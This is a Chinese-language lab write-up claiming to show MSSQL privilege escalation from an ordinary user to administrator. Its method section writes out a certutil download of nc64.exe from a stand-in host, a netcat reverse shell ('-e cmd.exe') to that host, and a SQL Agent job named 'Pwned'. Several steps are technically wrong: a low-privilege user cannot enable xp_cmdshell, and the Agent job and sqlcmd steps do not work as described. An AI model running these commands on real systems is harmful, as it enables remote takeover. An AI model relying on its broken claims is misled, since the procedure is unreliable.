1. 实验环境介绍
本次实验使用的环境为Windows Server 2012 R2系统,搭建了一个MSSQL Server 2012数据库,同时创建了一个普通用户账户用于提权实验。
2. 普通用户权限下的限制
普通用户在MSSQL数据库中的权限是相对受限的,主要表现为以下几个方面:
2.1 普通用户不能创建新的登录账户
MSSQL数据库中的登录账户是授权操作的基本单位。普通用户无法执行类似于CREATE LOGIN等的命令创建新的登录账户。
2.2 普通用户无法管理其他用户的权限
普通用户无法修改其他用户的权限,也无法查看其他用户的密码和权限设置等敏感信息。
2.3 普通用户没有sysadmin系统角色权限
sysadmin是MSSQL数据库中的一个内置的系统角色,拥有最高级别的权限。普通用户没有sysadmin系统角色权限,无法执行大多数的系统级别操作。
3. 提权方法
在普通用户权限下,我们可以使用以下方法进行提权:
3.1 利用xp_cmdshell执行操作系统命令
在MSSQL Server中,xp_cmdshell是一个重要且较为危险的扩展存储过程,它允许在MSSQL Server所在的操作系统环境下执行任意系统命令。由于xp_cmdshell是默认禁用的,我们需要先执行以下命令来启用它:
sp_configure 'show advanced options', 1;
go
reconfigure;
go
sp_configure 'xp_cmdshell', 1;
go
reconfigure;
go
启用xp_cmshell后,我们可以执行操作系统命令来获取系统管理员的权限。具体的操作方式为:
先使用xp_cmdshell命令访问一个HTTP口令文件,该文件可以使用Certutil.exe命令生成:
xp_cmdshell 'C:\Windows\System32\certutil.exe -urlcache -split -f http://example.com/nc64.exe C:\Users\Public\nc64.exe'
使用xp_cmdshell命令调用nc.exe连接攻击者的netcat监听器,获取攻击系统的控制权:
xp_cmdshell 'C:\Users\Public\nc64.exe example.com 4444 -e cmd.exe'
3.2 利用SQL Server Agent服务的特权执行操作
SQL Server Agent是MSSQL Server的一个重要的服务,它可以用于在MSSQL Server中定时执行一个作业(Job),可以设置该作业的执行权限,利用该服务可以获取系统管理员权限。具体的操作方式为:
创建并启用一个SQL Server Agent作业,该作业执行一个默认可以获取系统管理员权限的存储过程sp_oacreate:
USE msdb
GO
EXEC sp_add_job @job_name='Pwned'
GO
EXEC sp_add_jobstep @job_name='Pwned', @step_name='Pwned', @subsystem='CMDEXEC', @command='sp_oacreate ''wscript.shell'',@shell out'
GO
EXEC sp_add_jobserver @job_name='Pwned'
GO
EXEC sp_start_job @job_name='Pwned'
GO
使用xp_cmdshell命令调用sqlcmd.exe获取管理员权限:
xp_cmdshell 'sqlcmd.exe -S . -E'
4. 实验总结
本次实验介绍了从普通用户到超级管理员的提权方法,主要通过启用xp_cmdshell、利用SQL Server Agent服务的特权执行操作两种方式。在实际应用中,我们应该尽量减少MSSQL Server系统的攻击面,定期升级漏洞补丁,限制普通用户的权限,以提高数据安全性。